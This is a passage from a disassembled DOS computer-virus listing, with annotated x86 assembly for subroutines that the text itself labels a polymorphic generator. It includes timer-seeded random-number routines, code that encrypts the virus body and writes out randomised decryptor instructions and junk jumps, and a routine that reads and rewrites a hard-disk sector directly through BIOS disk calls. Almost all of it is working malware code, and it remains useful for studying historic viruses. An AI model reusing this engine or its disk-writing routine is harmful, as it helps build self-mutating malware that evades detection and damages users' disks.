  1332. 0893                    pop     si
  1333. 0894                    mov     bl,4
  1334. 0896                    retn
  1335. 0897    loc_72:                                         ;  xref 9804:084C, 0858
  1336. 0897                    mov     bl,0
  1337. 0899                    retn
  1338.         sub_17          endp
  1339.  
  1340.  
  1341.         ;==========================================================================
  1342.         ;                              SUBROUTINE
  1343.         ;
  1344.         ;         Called from:   9804:0A56, 0A76, 0A9A, 0AAA, 0AB2, 0ABD, 0ACF
  1345.         ;==========================================================================
  1346.  
  1347. 089A    sub_18          proc    near
  1348. 089A                    mov     bp,3
  1349. 089D    loc_73:                                         ;  xref 9804:08AD, 08B3
  1350. 089D   ,                dec     bp
  1351. 089E                    jz      loc_ret_76              ; Jump if zero
  1352. 08A0                    call    sub_17                  ; (0846)
  1353. 08A3                    add     cl,bl
  1354. 08A5                    cmp     bl,2
  1355. 08A8                    jb      loc_75                  ; Jump if below
  1356. 08AA                    ja      loc_74                  ; Jump if above
  1357. 08AC                    stosw                           ; Store ax to es:[di]
  1358. 08AD                    jmp     short loc_73            ; (089D)
  1359. 08AF    loc_74:                                         ;  xref 9804:08AA
  1360. 08AF                    stosw                           ; Store ax to es:[di]
  1361. 08B0                    mov     ax,dx
  1362. 08B2                    stosw                           ; Store ax to es:[di]
  1363. 08B3    loc_75:                                         ;  xref 9804:08A8
  1364. 08B3                    jmp     short loc_73            ; (089D)
  1365.  
  1366. 08B5    loc_ret_76:                                     ;  xref 9804:089E
  1367. 08B5                    retn
  1368.         sub_18          endp
  1369.  
  1370.  
  1371.         ;==========================================================================
  1372.         ;                              SUBROUTINE
  1373.         ;
  1374.         ;         Called from:   9804:09AC, 0E82, 146A, 14D3
  1375.         ;==========================================================================
  1376.  
  1377. 08B6    sub_19          proc    near
  1378. 08B6                    xor     bx,bx                   ; Zero register
  1379. 08B8    loc_77:                                         ;  xref 9804:08C3, 08CD
  1380. 08B8   ,                push    ax
  1381. 08B9                    call    sub_21                  ; (093A)
  1382. 08BC                    mov     bl,al
  1383. 08BE                    pop     ax
  1384. 08BF                    mov     al,bl
  1385. 08C1                    or      bl,bl                   ; Zero ?
  1386. 08C3                    jz      loc_77                  ; Jump if zero
  1387. 08C5                    and     bl,3
  1388. 08C8                    cmp     bl,3
  1389. 08CB                    jb      loc_ret_78              ; Jump if below
  1390. 08CD                    jmp     short loc_77            ; (08B8)
  1391.  
  1392. 08CF    loc_ret_78:                                     ;  xref 9804:08CB
  1393. 08CF                    retn
  1394.         sub_19          endp
  1395.  
  1396.  
  1397.         ;==========================================================================
  1398.         ;                              SUBROUTINE
  1399.         ;
  1400.         ;         Called from:   9804:00B2, 1729, 1E26
  1401.         ;==========================================================================
  1402.  
  1403. 08D0    sub_20          proc    near
  1404. 08D0                    push    cs
  1405. 08D1                    push    cs
  1406. 08D2                    pop     es
  1407. 08D3                    pop     ds
  1408. 08D4                    mov     ah,8
  1409. 08D6                    mov     dl,80h
  1410. 08D8                    int     13h                     ; Disk  dl=drive 0  ah=func 08h
  1411.                                                         ;  get drive parameters, bl=type
  1412.                                                         ;   cx=cylinders, dh=max heads
  1413. 08DA   ,                mov     bx,data_175e            ; (9804:20BA=0)
  1414. 08DD                    mov     ax,201h
  1415. 08E0                    inc     ch
  1416. 08E2                    dec     dh
  1417. 08E4                    dec     dh
  1418. 08E6                    mov     cl,1
  1419. 08E8                    mov     dl,80h
  1420. 08EA                    int     13h                     ; Disk  dl=drive 0  ah=func 02h
  1421.                                                         ;  read sectors to memory es:bx
  1422.                                                         ;   al=#,ch=cyl,cl=sectr,dh=head
  1423. 08EC                    jc      loc_ret_82              ; Jump if carry Set
  1424. 08EE                    call    sub_22                  ; (095B)
  1425. 08F1                    and     al,0Fh
  1426. 08F3                    cmp     al,7
  1427. 08F5                    je      loc_79                  ; Jump if equal
  1428. 08F7                    cmp     word ptr [bx],0CCDDh
  1429. 08FB                    je      loc_ret_82              ; Jump if equal
  1430. 08FD    loc_79:                                         ;  xref 9804:08F5
  1431. 08FD                    mov     cx,100h
  1432. 0900                    mov     di,bx
  1433.  
  1434. 0902    locloop_80:                                     ;  xref 9804:090C
  1435. 0902                    call    sub_22                  ; (095B)
  1436. 0905                    add     ax,[di-2]
  1437. 0908                    mov     [di],ax
  1438. 090A                    inc     di
  1439. 090B                    inc     di
  1440. 090C                    loop    locloop_80              ; Loop if cx > 0
  1441.  
  1442. 090E                    mov     word ptr [bx],0CCDDh
  1443. 0912    loc_81:                                         ;  xref 9804:0938
  1444. 0912   ,                mov     ah,8
  1445. 0914                    mov     dl,80h
  1446. 0916                    int     13h                     ; Disk  dl=drive 0  ah=func 08h
  1447.                                                         ;  get drive parameters, bl=type
  1448.                                                         ;   cx=cylinders, dh=max heads
  1449. 0918   ,                mov     bx,data_175e            ; (9804:20BA=0)
  1450. 091B                    mov     ax,301h
  1451. 091E                    inc     ch
  1452. 0920                    dec     dh
  1453. 0922                    dec     dh
  1454. 0924                    mov     cl,1
  1455. 0926                    mov     dl,80h
  1456. 0928                    int     13h                     ; Disk  dl=drive 0  ah=func 03h
  1457.                                                         ;  write sectors from mem es:bx
  1458.                                                         ;   al=#,ch=cyl,cl=sectr,dh=head
  1459. 092A                    jc      loc_83                  ; Jump if carry Set
  1460.  
  1461. 092C    loc_ret_82:                                     ;  xref 9804:08EC, 08FB
  1462. 092C                    retn
  1463. 092D    loc_83:                                         ;  xref 9804:092A
  1464. 092D                    mov     ax,440Dh
  1465. 0930                    mov     bx,180h
  1466. 0933                    mov     cx,84Bh
  1467. 0936                    int     21h                     ; DOS Services  ah=function 44h
  1468.                                                         ;  IOctl-C block device control
  1469.                                                         ;   bl=drive, cx=category/type
  1470.                                                         ;   ds:dx ptr to parameter block
  1471. 0938                    jmp     short loc_81            ; (0912)
  1472.         sub_20          endp
  1473.  
  1474.  
  1475.         ;==========================================================================
  1476.         ;                              SUBROUTINE
  1477.         ;
  1478.         ;         Called from:   9804:0846, 08B9, 09C5, 0A7C, 0AD8, 0B1C, 0B74
  1479.         ;                             0C1F, 0C4C, 0C6F, 0CA8, 0CC2, 0CFE, 0D3D
  1480.         ;                             0D74, 0D8C, 0DA5, 0DB5, 0DFC, 0E30, 0E42
  1481.         ;                             0E95, 0EC0, 0EEC, 0F1B, 0F2F, 1224, 1233
  1482.         ;                             148E, 14C3, 14E9, 1517, 1537, 15AA, 15BC
  1483.         ;                             15D9, 160B
  1484.         ;==========================================================================
  1485.  
  1486. 093A    sub_21          proc    near
  1487. 093A                    push    bx
  1488. 093B                    mov     bx,cs:data_175e         ; (9804:20BA=0)
  1489. 0940   ,                cmp     bx,200h                 ; (9804:0200=6)
  1490. 0944                    jb      loc_84                  ; Jump if below
  1491. 0946                    and     bx,1
  1492. 0949                    xor     bl,1
  1493. 094C    loc_84:                                         ;  xref 9804:0944
  1494. 094C                    add     bx,2
  1495. 094F                    mov     cs:data_175e,bx         ; (9804:20BA=0)
  1496. 0954                    mov     ax,cs:data_175e[bx]     ; (9804:20BA=0)
  1497. 0959                    pop     bx
  1498. 095A                    retn
  1499.         sub_21          endp
  1500.  
  1501.  
  1502.         ;==========================================================================
  1503.         ;                              SUBROUTINE
  1504.         ;
  1505.         ;         Called from:   9804:08EE, 0902
  1506.         ;==========================================================================
  1507.  
  1508. 095B    sub_22          proc    near
  1509. 095B    loc_85:                                         ;  xref 9804:098B, 098F
  1510. 095B                    xor     al,al                   ; Zero register
  1511. 095D                    out     43h,al                  ; port 43h, 8253 timer control
  1512.                                                         ;  al = 0, latch timer0 count
  1513. 095F                    jmp     short $+2               ; delay for I/O
  1514. 0961                    in      al,40h                  ; port 40h, 8253 timer 0 clock
  1515. 0963                    mov     ah,al
  1516. 0965                    in      al,40h                  ; port 40h, 8253 timer 0 clock
  1517. 0967                    xor     al,ah
  1518. 0969                    xchg    al,ah
  1519. 096B                    push    cx
  1520. 096C                    mov     cl,ah
  1521. 096E                    and     cl,0Fh
  1522. 0971                    rol     ax,cl                   ; Rotate
  1523. 0973                    mov     cx,ax
  1524. 0975                    and     cx,7FFh
  1525.  
  1526. 0979    locloop_86:                                     ;  xref 9804:097C
  1527. 0979                    jmp     short $+2               ; delay for I/O
  1528. 097B                    nop
  1529. 097C                    loop    locloop_86              ; Loop if cx > 0
  1530.  
  1531. 097E                    pop     cx
  1532. 097F                    xor     cs:data_73,ax           ; (9804:0843=0D442h)
  1533. 0984                    add     ax,cs:data_73           ; (9804:0843=0D442h)
  1534. 0989                    or      ah,ah                   ; Zero ?
  1535. 098B                    jz      loc_85                  ; Jump if zero
  1536. 098D                    or      al,al                   ; Zero ?
  1537. 098F                    jz      loc_85                  ; Jump if zero
  1538. 0991                    retn
  1539.         sub_22          endp
  1540.  
  1541.  
  1542.         ;==========================================================================
  1543.         ;                              SUBROUTINE
  1544.         ;
  1545.         ;         Called from:   9804:05D3, 064E
  1546.         ;==========================================================================
  1547.  
  1548. ;----------------------- Polymorphic Generator ----------------------
  1549. 0992    sub_23          proc    near
  1550. 0992                    push    si
  1551. 0993                    push    bx
  1552. 0994                    cld                             ; Clear direction
  1553. 0995                    mov     word ptr ds:data_175e,0 ; (9804:20BA=0)
  1554. 099B                    xor     si,si                   ; Zero register
  1555. 099D                    mov     di,1E86h
  1556. 09A0                    mov     word ptr ds:[0E6Ch],1C6Ah ; (9804:0E6C=0E6Ah)
  1557. 09A6                    mov     ax,data_78              ; (9804:0E6E=9)
  1558. 09A9                    mov     data_84,ax              ; (9804:0E76=9)
  1559. 09AC                    call    sub_19                  ; (08B6)
  1560. 09AF                    mov     al,data_114[bx]         ; (9804:0FD2=30h)
  1561. 09B3                    mov     ah,0E0h
  1562. 09B5                    mov     word ptr ds:[0A01h],ax  ; (9804:0A01=0E028h)
  1563. 09B8                    mov     word ptr ds:[9E3h],ax   ; (9804:09E3=0E028h)
  1564. 09BB                    xor     bl,3
  1565. 09BE                    mov     al,data_114[bx]         ; (9804:0FD2=30h)
  1566. 09C2                    mov     byte ptr ds:[0E7Ah],al  ; (9804:0E7A=0)
  1567. 09C5                    call    sub_21                  ; (093A)
  1568. 09C8                    mov     byte ptr ds:[0F5Dh],al  ; (9804:0F5D=64h)
  1569. 09CB                    mov     byte ptr ds:[24h],al    ; (9804:0024=0A9h)
  1570. 09CE                    mov     data_82,ah              ; (9804:0E74=2Dh)
  1571. 09D2                    pop     bx
  1572. 09D3                    push    bx
  1573. 09D4                    mov     word ptr ds:[0Dh],0F72Eh ; (9804:000D=0F72Eh)
  1574. 09DA                    mov     byte ptr ds:[0Fh],15h   ; (9804:000F=15h)
  1575. 09DF                    mov     cx,14h
  1576.  
  1577. 09E2    locloop_87:                                     ;  xref 9804:09E6
  1578. 09E2                    lodsb                           ; String [si] to al
  1579. 09E3                    sub     al,ah
  1580. 09E5                    stosb                           ; Store al to es:[di]
  1581. 09E6                    loop    locloop_87              ; Loop if cx > 0
  1582.  
  1583. 09E8                    mov     cx,1ECh
  1584.  
  1585. 09EB    locloop_88:                                     ;  xref 9804:0A04, 0A1E, 0A2C
  1586. 09EB   ,                lodsb                           ; String [si] to al
  1587. 09EC                    cmp     si,1A3h
  1588. 09F0                    jb      loc_89                  ; Jump if below
  1589. 09F2                    xchg    byte ptr ds:[0F5Dh],ah  ; (9804:0F5D=64h)
  1590. 09F6                    xor     al,ah
  1591. 09F8                    add     ah,1
  1592. 09FB                    xchg    byte ptr ds:[0F5Dh],ah  ; (9804:0F5D=64h)
  1593. 09FF    loc_89:                                         ;  xref 9804:09F0
  1594. 09FF                    not     al
  1595. 0A01                    sub     al,ah
  1596. 0A03                    stosb                           ; Store al to es:[di]
  1597. 0A04                    loop    locloop_88              ; Loop if cx > 0
  1598.  
  1599. 0A06                    call    sub_38                  ; (0E53)
  1600. 0A09                    jc      loc_92                  ; Jump if carry Set
  1601. 0A0B                    mov     cx,word ptr ds:[0E6Ch]  ; (9804:0E6C=0E6Ah)
  1602. 0A0F                    jcxz    loc_91                  ; Jump if cx=0
  1603. 0A11                    sub     cx,200h
  1604. 0A15                    jc      loc_90                  ; Jump if carry Set
  1605. 0A17                    mov     word ptr ds:[0E6Ch],cx  ; (9804:0E6C=0E6Ah)
  1606. 0A1B                    mov     cx,200h
  1607. 0A1E                    jmp     short locloop_88        ; (09EB)
  1608. 0A20    loc_90:                                         ;  xref 9804:0A15
  1609. 0A20                    add     cx,200h
  1610. 0A24                    mov     word ptr ds:[0E6Ch],0   ; (9804:0E6C=0E6Ah)
  1611. 0A2A                    mov     dx,cx
  1612. 0A2C                    jmp     short locloop_88        ; (09EB)
  1613. 0A2E    loc_91:                                         ;  xref 9804:0A0F
  1614. 0A2E                    call    sub_39                  ; (0E81)
  1615. 0A31                    call    sub_31                  ; (0CA4)
  1616. 0A34                    call    sub_24                  ; (0A47)
  1617. 0A37                    mov     dx,1F6Ah
  1618. 0A3A                    mov     ah,40h                  ; '@'
  1619. 0A3C                    add     cx,11h
  1620. 0A3F                    nop
  1621. 0A40                    call    sub_5                   ; (02C5)
  1622. 0A43                    clc                             ; Clear carry flag
  1623. 0A44    loc_92:                                         ;  xref 9804:0A09
  1624. 0A44                    pop     bx
  1625. 0A45                    pop     si
  1626. 0A46                    retn
  1627.         sub_23          endp
  1628.  
  1629.  
  1630.         ;==========================================================================
  1631.         ;                              SUBROUTINE
  1632.         ;
  1633.         ;         Called from:   9804:0A34
  1634.         ;==========================================================================
  1635.  
  1636. 0A47    sub_24          proc    near
  1637. 0A47                    push    bx
  1638. 0A48                    push    bp
  1639. 0A49                    mov     si,1E86h
  1640. 0A4C                    mov     di,1F6Ah
  1641. 0A4F                    xor     cx,cx                   ; Zero register
  1642. 0A51                    call    sub_32                  ; (0CFE)
  1643. 0A54                    mov     bl,4
  1644. 0A56                    call    sub_18                  ; (089A)
  1645. 0A59                    call    sub_34                  ; (0DA5)
  1646. 0A5C                    call    sub_36                  ; (0E29)
  1647. 0A5F                    call    sub_29                  ; (0C1F)
  1648. 0A62                    call    sub_25                  ; (0B06)
  1649. 0A65                    call    sub_29                  ; (0C1F)
  1650. 0A68                    call    sub_25                  ; (0B06)
  1651. 0A6B                    call    sub_29                  ; (0C1F)
  1652. 0A6E                    call    sub_25                  ; (0B06)
  1653. 0A71                    call    sub_29                  ; (0C1F)
  1654. 0A74                    mov     bl,2
  1655. 0A76                    call    sub_18                  ; (089A)
  1656. 0A79                    call    sub_29                  ; (0C1F)
  1657. 0A7C                    call    sub_21                  ; (093A)
  1658. 0A7F                    cmp     ah,80h
  1659. 0A82                    jb      loc_93                  ; Jump if below
  1660. 0A84                    movsb                           ; Mov [si] to es:[di]
  1661. 0A85                    jmp     short loc_94            ; (0A90)
  1662. 0A87    loc_93:                                         ;  xref 9804:0A82
  1663. 0A87                    or      data_59,10h             ; (9804:018C=4)
  1664. 0A8C                    sub     cl,1
  1665. 0A8F                    inc     si
  1666. 0A90    loc_94:                                         ;  xref 9804:0A85
  1667. 0A90                    call    sub_29                  ; (0C1F)
  1668. 0A93                    call    sub_28                  ; (0BD2)
  1669. 0A96                    mov     ch,cl
  1670. 0A98                    mov     bl,2
  1671. 0A9A                    call    sub_18                  ; (089A)
  1672. 0A9D                    call    sub_29                  ; (0C1F)
  1673. 0AA0                    movsw                           ; Mov [si] to es:[di]
  1674. 0AA1                    movsb                           ; Mov [si] to es:[di]
  1675. 0AA2                    call    sub_29                  ; (0C1F)
  1676. 0AA5                    call    sub_33                  ; (0D35)
  1677. 0AA8                    mov     bl,2
  1678. 0AAA                    call    sub_18                  ; (089A)
  1679. 0AAD                    call    sub_27                  ; (0B74)
  1680. 0AB0                    mov     bl,2
  1681. 0AB2                    call    sub_18                  ; (089A)
  1682. 0AB5                    call    sub_29                  ; (0C1F)
  1683. 0AB8                    call    sub_26                  ; (0B1C)
  1684. 0ABB                    mov     bl,2
  1685. 0ABD                    call    sub_18                  ; (089A)
  1686. 0AC0                    call    sub_29                  ; (0C1F)
  1687. 0AC3                    mov     al,cl
  1688. 0AC5                    sub     al,ch
  1689. 0AC7                    mov     ch,al
  1690. 0AC9                    lodsw                           ; String [si] to ax
  1691. 0ACA                    sub     ah,ch
  1692. 0ACC                    stosw                           ; Store ax to es:[di]
  1693. 0ACD                    mov     bl,2
  1694. 0ACF                    call    sub_18                  ; (089A)
  1695. 0AD2                    call    sub_29                  ; (0C1F)
  1696. 0AD5                    call    sub_30                  ; (0C68)
  1697. 0AD8                    call    sub_21                  ; (093A)
  1698. 0ADB                    and     al,7
  1699. 0ADD                    add     cl,al
  1700. 0ADF                    mov     ch,0
  1701. 0AE1                    cmp     data_48,ch              ; (9804:0179=1)
  1702. 0AE5                    je      loc_95                  ; Jump if equal
  1703. 0AE7                    add     data_159,cx             ; (9804:1E6C=4E2Dh)
  1704. 0AEB                    cmp     data_159,200h           ; (9804:1E6C=4E2Dh)
  1705. 0AF1                    jb      loc_95                  ; Jump if below
  1706. 0AF3                    inc     data_161                ; (9804:1E6E=2417h)
  1707. 0AF7                    sub     data_159,200h           ; (9804:1E6C=4E2Dh)
  1708. 0AFD                    jnz     loc_95                  ; Jump if not zero
  1709. 0AFF                    dec     data_161                ; (9804:1E6E=2417h)
  1710. 0B03    loc_95:                                         ;  xref 9804:0AE5, 0AF1, 0AFD
  1711. 0B03                    pop     bp
  1712. 0B04                    pop     bx
  1713. 0B05                    retn
  1714.         sub_24          endp
  1715.  
  1716.  
  1717.         ;==========================================================================
  1718.         ;                              SUBROUTINE
  1719.         ;
  1720.         ;         Called from:   9804:0A62, 0A68, 0A6E
  1721.         ;==========================================================================
  1722.  
  1723. 0B06    sub_25          proc    near
  1724. 0B06                    push    cx
  1725. 0B07                    xor     cx,cx                   ; Zero register
  1726. 0B09                    mov     al,byte ptr ds:[0F5Bh]  ; (9804:0F5B=0)
  1727. 0B0C                    mov     cl,al
  1728. 0B0E                    shr     al,1                    ; Shift w/zeros fill
  1729. 0B10                    shr     al,1                    ; Shift w/zeros fill
  1730. 0B12                    mov     byte ptr ds:[0F5Bh],al  ; (9804:0F5B=0)
  1731. 0B15                    and     cl,3
  1732. 0B18                    rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  1733. 0B1A                    pop     cx
  1734. 0B1B                    retn
  1735.         sub_25          endp
  1736.  
  1737.  
  1738.         ;==========================================================================
  1739.         ;                              SUBROUTINE
  1740.         ;
  1741.         ;         Called from:   9804:0AB8
  1742.         ;==========================================================================
  1743.  
  1744. 0B1C    sub_26          proc    near
  1745. 0B1C                    call    sub_21                  ; (093A)
  1746. 0B1F                    cmp     byte ptr data_97,4      ; (9804:0F60=7)
  1747. 0B24                    jae     loc_96                  ; Jump if above or =
  1748. 0B26                    xor     al,ah
  1749. 0B28                    jp      loc_96                  ; Jump if parity=1
  1750. 0B2A                    movsb                           ; Mov [si] to es:[di]
  1751. 0B2B                    retn
  1752. 0B2C    loc_96:                                         ;  xref 9804:0B24, 0B28
  1753. 0B2C                    mov     bl,data_96              ; (9804:0F5F=3)
  1754. 0B30                    mov     bh,0
  1755. 0B32                    cmp     byte ptr data_97,6      ; (9804:0F60=7)
  1756. 0B37                    jae     loc_98                  ; Jump if above or =
  1757. 0B39                    cmp     byte ptr data_97,4      ; (9804:0F60=7)
  1758. 0B3E                    jae     loc_97                  ; Jump if above or =
  1759. 0B40                    test    al,1
  1760. 0B42                    jnz     loc_98                  ; Jump if not zero
  1761. 0B44    loc_97:                                         ;  xref 9804:0B3E
  1762. 0B44                    mov     dl,1
  1763. 0B46                    mov     dh,data_108[bx]         ; (9804:0F98=0E8h)
  1764. 0B4A                    jmp     short loc_99            ; (0B52)
  1765. 0B4C    loc_98:                                         ;  xref 9804:0B37, 0B42
  1766. 0B4C                    mov     dl,0FFh
  1767. 0B4E                    mov     dh,data_109[bx]         ; (9804:0F9F=0C0h)
  1768. 0B52    loc_99:                                         ;  xref 9804:0B4A
  1769. 0B52                    test    al,2
  1770. 0B54                    jnz     loc_100                 ; Jump if not zero
  1771. 0B56                    mov     al,81h
  1772. 0B58                    stosb                           ; Store al to es:[di]
  1773. 0B59                    mov     al,dh
  1774. 0B5B                    stosb                           ; Store al to es:[di]
  1775. 0B5C                    mov     al,dl
  1776. 0B5E                    cbw                             ; Convrt byte to word
  1777. 0B5F                    stosw                           ; Store ax to es:[di]
  1778. 0B60                    inc     si
  1779. 0B61                    add     cl,3
  1780. 0B64                    retn
  1781. 0B65    loc_100:                                        ;  xref 9804:0B54
  1782. 0B65                    mov     al,83h
  1783. 0B67                    stosb                           ; Store al to es:[di]
  1784. 0B68                    mov     al,dh
  1785. 0B6A                    stosb                           ; Store al to es:[di]
  1786. 0B6B                    mov     al,dl
  1787. 0B6D                    stosb                           ; Store al to es:[di]
  1788. 0B6E                    inc     si
  1789. 0B6F                    add     cl,2
  1790. 0B72                    retn
  1791.         sub_26          endp
  1792.  
  1793. 0B73                    retn
  1794.  
  1795.         ;==========================================================================
  1796.         ;                              SUBROUTINE
  1797.         ;
  1798.         ;         Called from:   9804:0AAD, 1559
  1799.         ;==========================================================================
  1800.  
  1801. 0B74    sub_27          proc    near
  1802. 0B74                    call    sub_21                  ; (093A)
  1803. 0B77                    xor     al,ah
  1804. 0B79                    jns     loc_101                 ; Jump if not sign
  1805. 0B7B                    movsb                           ; Mov [si] to es:[di]
  1806. 0B7C                    retn
  1807. 0B7D    loc_101:                                        ;  xref 9804:0B79
  1808. 0B7D                    mov     bl,byte ptr ds:[0F5Dh]  ; (9804:0F5D=64h)
  1809. 0B81                    mov     bh,0
  1810. 0B83                    cmp     byte ptr ds:[0F5Ch],80h ; (9804:0F5C=0FFh)
  1811. 0B88                    nop
  1812. 0B89                    ja      loc_103                 ; Jump if above
  1813. 0B8B                    test    al,1
  1814. 0B8D                    jnz     loc_102                 ; Jump if not zero
  1815. 0B8F                    mov     dl,1
  1816. 0B91                    mov     dh,data_108[bx]         ; (9804:0F98=0E8h)
  1817. 0B95                    jmp     short loc_105           ; (0BB1)
  1818. 0B97    loc_102:                                        ;  xref 9804:0B8D
  1819. 0B97                    mov     dl,0FFh
  1820. 0B99                    mov     dh,data_109[bx]         ; (9804:0F9F=0C0h)
  1821. 0B9D                    jmp     short loc_105           ; (0BB1)
  1822. 0B9F    loc_103:                                        ;  xref 9804:0B89
  1823. 0B9F                    test    al,1
  1824. 0BA1                    jnz     loc_104                 ; Jump if not zero
  1825. 0BA3                    mov     dl,1
  1826. 0BA5                    mov     dh,data_109[bx]         ; (9804:0F9F=0C0h)
  1827. 0BA9                    jmp     short loc_105           ; (0BB1)
  1828. 0BAB    loc_104:                                        ;  xref 9804:0BA1
  1829. 0BAB                    mov     dl,0FFh
  1830. 0BAD                    mov     dh,data_108[bx]         ; (9804:0F98=0E8h)
  1831. 0BB1    loc_105:                                        ;  xref 9804:0B95, 0B9D, 0BA9
  1832. 0BB1                    test    al,2
  1833. 0BB3                    jnz     loc_106                 ; Jump if not zero
  1834. 0BB5                    mov     al,81h
  1835. 0BB7                    stosb                           ; Store al to es:[di]
  1836. 0BB8                    mov     al,dh
  1837. 0BBA                    stosb                           ; Store al to es:[di]
  1838. 0BBB                    mov     al,dl
  1839. 0BBD                    cbw                             ; Convrt byte to word
  1840. 0BBE                    stosw                           ; Store ax to es:[di]
  1841. 0BBF                    inc     si
  1842. 0BC0                    add     cl,3
  1843. 0BC3                    retn
  1844. 0BC4    loc_106:                                        ;  xref 9804:0BB3
  1845. 0BC4                    mov     al,83h
  1846. 0BC6                    stosb                           ; Store al to es:[di]
  1847. 0BC7                    mov     al,dh
  1848. 0BC9                    stosb                           ; Store al to es:[di]
  1849. 0BCA                    mov     al,dl
  1850. 0BCC                    stosb                           ; Store al to es:[di]
  1851. 0BCD                    inc     si
  1852. 0BCE                    add     cl,2
  1853. 0BD1                    retn
  1854.         sub_27          endp
  1855.  
  1856.  
  1857.         ;==========================================================================
  1858.         ;                              SUBROUTINE
  1859.         ;
  1860.         ;         Called from:   9804:0A93
  1861.         ;==========================================================================
  1862.  
  1863. 0BD2    sub_28          proc    near
  1864. 0BD2                    cmp     byte ptr ds:[0F5Ch],80h ; (9804:0F5C=0FFh)
  1865. 0BD7                    nop
  1866. 0BD8                    ja      loc_ret_110             ; Jump if above
  1867. 0BDA                    push    dx
  1868. 0BDB                    mov     dx,1E6Ah
  1869. 0BDE                    mov     al,byte ptr ds:[0F5Ch]  ; (9804:0F5C=0FFh)
  1870. 0BE1                    and     al,7
  1871. 0BE3                    cbw                             ; Convrt byte to word
  1872. 0BE4                    inc     ax
  1873. 0BE5                    add     dx,ax
  1874. 0BE7                    mov     bl,data_97              ; (9804:0F60=7)
  1875. 0BEB                    cmp     bl,6
  1876. 0BEE                    je      loc_107                 ; Jump if equal
  1877. 0BF0                    test    bl,1
  1878. 0BF3                    jnz     loc_107                 ; Jump if not zero
  1879. 0BF5                    dec     dx
  1880. 0BF6    loc_107:                                        ;  xref 9804:0BEE, 0BF3
  1881. 0BF6                    mov     ah,al
  1882. 0BF8                    xor     bx,bx                   ; Zero register
  1883. 0BFA                    mov     bl,byte ptr ds:[0F5Dh]  ; (9804:0F5D=64h)
  1884. 0BFE                    mov     al,81h
  1885. 0C00                    stosb                           ; Store al to es:[di]
  1886. 0C01                    test    ah,1
  1887. 0C04                    jz      loc_108                 ; Jump if zero
  1888. 0C06                    mov     al,data_108[bx]         ; (9804:0F98=0E8h)
  1889. 0C0A                    stosb                           ; Store al to es:[di]
  1890. 0C0B                    mov     ax,dx
  1891. 0C0D                    neg     ax
  1892. 0C0F                    stosw                           ; Store ax to es:[di]
  1893. 0C10                    jmp     short loc_109           ; (0C1A)
  1894. 0C12    loc_108:                                        ;  xref 9804:0C04
  1895. 0C12                    mov     al,data_109[bx]         ; (9804:0F9F=0C0h)
  1896. 0C16                    stosb                           ; Store al to es:[di]
  1897. 0C17                    mov     ax,dx
  1898. 0C19                    stosw                           ; Store ax to es:[di]
  1899. 0C1A    loc_109:                                        ;  xref 9804:0C10
  1900. 0C1A                    add     cl,4
  1901. 0C1D                    pop     dx
  1902.  
  1903. 0C1E    loc_ret_110:                                    ;  xref 9804:0BD8
  1904. 0C1E                    retn
  1905.         sub_28          endp
  1906.  
  1907.  
  1908.         ;==========================================================================
  1909.         ;                              SUBROUTINE
  1910.         ;
  1911.         ;         Called from:   9804:0A5F, 0A65, 0A6B, 0A71, 0A79, 0A90, 0A9D
  1912.         ;                             0AA2, 0AB5, 0AC0, 0AD2
  1913.         ;==========================================================================
  1914.  
  1915. 0C1F    sub_29          proc    near
  1916. 0C1F                    call    sub_21                  ; (093A)
  1917. 0C22                    test    al,20h                  ; ' '
  1918. 0C24                    jz      loc_ret_114             ; Jump if zero
  1919. 0C26                    test    al,8
  1920. 0C28                    jz      loc_111                 ; Jump if zero
  1921. 0C2A                    and     ah,3
  1922. 0C2D                    add     ah,1
  1923. 0C30                    mov     al,0EBh
  1924. 0C32                    stosw                           ; Store ax to es:[di]
  1925. 0C33                    add     cl,2
  1926. 0C36                    mov     al,ah
  1927. 0C38                    jmp     short loc_112           ; (0C4A)
  1928. 0C3A    loc_111:                                        ;  xref 9804:0C28
  1929. 0C3A                    and     ah,3
  1930. 0C3D                    add     ah,1
  1931. 0C40                    mov     al,0E9h
  1932. 0C42                    stosb                           ; Store al to es:[di]
  1933. 0C43                    mov     al,ah
  1934. 0C45                    cbw                             ; Convrt byte to word
  1935. 0C46                    stosw                           ; Store ax to es:[di]
  1936. 0C47                    add     cl,3
  1937. 0C4A    loc_112:                                        ;  xref 9804:0C38
  1938. 0C4A                    mov     bl,al
  1939. 0C4C    loc_113:                                        ;  xref 9804:0C54, 0C5C, 0C65
  1940. 0C4C                    call    sub_21                  ; (093A)
  1941. 0C4F                    mov     ah,al
  1942. 0C51                    cmp     ah,2Eh                  ; '.'
  1943. 0C54                    je      loc_113                 ; Jump if equal
  1944. 0C56                    and     ah,0F8h
  1945. 0C59                    cmp     ah,0B0h
  1946. 0C5C                    je      loc_113                 ; Jump if equal
  1947. 0C5E                    stosb                           ; Store al to es:[di]
  1948. 0C5F                    add     cl,1
  1949. 0C62                    sub     bl,1
  1950. 0C65                    jnz     loc_113                 ; Jump if not zero
  1951.  
  1952. 0C67    loc_ret_114:                                    ;  xref 9804:0C24
  1953. 0C67                    retn
  1954.         sub_29          endp
  1955.  
  1956.  
  1957.         ;==========================================================================
  1958.         ;                              SUBROUTINE
  1959.         ;
  1960.         ;         Called from:   9804:0AD5
  1961.         ;==========================================================================
  1962.  
  1963. 0C68    sub_30          proc    near
  1964. 0C68    loc_115:                                        ;  xref 9804:0C7E
  1965. 0C68                    test    data_59,10h             ; (9804:018C=4)
  1966. 0C6D                    jnz     loc_117                 ; Jump if not zero
  1967. 0C6F                    call    sub_21                  ; (093A)
  1968. 0C72                    test    al,4
  1969. 0C74                    jnz     loc_116                 ; Jump if not zero
  1970. 0C76                    movsb                           ; Mov [si] to es:[di]
  1971. 0C77                    retn
  1972. 0C78    loc_116:                                        ;  xref 9804:0C74
  1973. 0C78                    and     ah,7
  1974. 0C7B                    cmp     ah,4
  1975. 0C7E                    je      loc_115                 ; Jump if equal
  1976. 0C80                    mov     al,ah
  1977. 0C82                    or      al,58h                  ; 'X'
  1978. 0C84                    stosb                           ; Store al to es:[di]
  1979. 0C85                    mov     al,0FFh
  1980. 0C87                    or      ah,0E0h
  1981. 0C8A                    stosw                           ; Store ax to es:[di]
  1982. 0C8B                    add     cl,2
  1983. 0C8E                    retn
  1984. 0C8F    loc_117:                                        ;  xref 9804:0C6D
  1985. 0C8F                    xor     data_59,10h             ; (9804:018C=4)
  1986. 0C94                    mov     al,0E9h
  1987. 0C96                    stosb                           ; Store al to es:[di]
  1988. 0C97                    add     cl,2
  1989. 0C9A                    mov     al,cl
  1990. 0C9C                    cbw                             ; Convrt byte to word
